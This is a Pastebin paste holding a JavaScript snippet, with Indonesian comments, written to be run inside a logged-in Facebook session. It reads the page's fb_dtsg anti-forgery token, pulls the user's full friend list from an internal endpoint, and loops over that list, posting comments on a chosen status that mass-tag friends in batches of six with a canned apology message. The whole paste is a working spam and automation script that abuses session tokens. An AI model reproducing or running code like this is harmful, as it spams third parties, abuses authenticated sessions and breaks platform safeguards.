Damai_P

Untitled

Jun 5th, 2014
267
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.38 KB | None | 0 0
  1. var aing = {
  2.  
  3. /**
  4. Copyright:
  5. ----------
  6. Damai Putra
  7. ----------
  8. We Are No Master, No Newbie, We Just Big Family
  9. Please Don't Remove This Credits (Saya Juga Pengen Terkenal)
  10. ----------
  11. **/
  12.  
  13. posId: "301174056717799", //ganti dengan ID status
  14. idGw: "100004756206222", //ganti dengan ID FB kamu
  15. // idGw:/[0-9]{8,}/.exec(document.getElementsByClassName("fbxWelcomeBoxImg")[0].d)[0],
  16.  
  17. dtsg: document.getElementsByName(
  18. "fb_dtsg")[0].value,
  19. ctLama: /comment_text=(.*?)&/,
  20. c: 1,
  21. ctBaru: "comment_text=",
  22. getPren: function (uid) {
  23. var a = window.ActiveXObject ? new ActiveXObject(
  24. "Msxml2.XMLHTTP") : new XMLHttpRequest;
  25. if (a.open("GET",
  26. "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer=" +
  27. uid +
  28. "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", /** method GET **/ !
  29. 1), a.send(null), 4 == a.readyState) {
  30. var b = JSON.parse(a.responseText.substring(
  31. a.responseText.indexOf("{")));
  32. return b.payload.entries
  33. }
  34. return !1
  35. },
  36. hajar: function () {
  37. aing.koncos = aing.getPren(aing.idGw);
  38. aing.pale = "ft_ent_identifier=" +
  39. aing.posId +
  40. "&comment_text=0&" +
  41. "source=1&" +
  42. "client_id=1359576694192%3A1233576093&" +
  43. "reply_fbid" +
  44. "&parent_comment_id&" +
  45. "rootid=u_jsonp_3_19&" +
  46. "ft[tn]=[]&" +
  47. "ft[qid]=5839337351464612379&" +
  48. "ft[mf_story_key]=5470779710560437153&" +
  49. "ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user=" +
  50. aing.idGw +
  51. "&__a=1&__req=4u&fb_dtsg=" + aing.dtsg +
  52. "&phstamp=" + Math.random();
  53. for (var n = 1; n < aing.koncos.length; n++) {
  54. if (fb_dtsg = aing.dtsg, aing.ctBaru +=
  55. "Teman%20Facebook%20ke%20" + n + "%20%40[" + aing.koncos[
  56. n].uid +
  57. "%3AAAAAAAAAAAA]%20Holla%20lagi%20apa?%20??%20Maaf%20ya%20udah%20di%20Tag%20;)%20maaf%20juga%20ngeganggu%20hehehe...%20 ?? ?? ?? ?? %20B|%20%0A", //message with percent encoding for URIs
  58. aing.c++, 7 == aing.c) {
  59. with(aing.ctBaru += "&", new XMLHttpRequest) open(
  60. "POST",
  61. "/ajax/ufi/add_comment.php?__a=1"), /** method POST **/
  62. setRequestHeader("Content-Type",
  63. "application/x-www-form-urlencoded"
  64. ), send(aing.pale.replace(aing.ctLama,
  65. aing.ctBaru));
  66. z = setTimeout("function(){asd=0}",
  67. 1e3), clearInterval(z), aing.c = 1,
  68. aing.ctBaru = "comment_text="
  69. }
  70. }
  71. }
  72. };
  73. aing.hajar();
Advertisement
Add Comment
Please, Sign In to add comment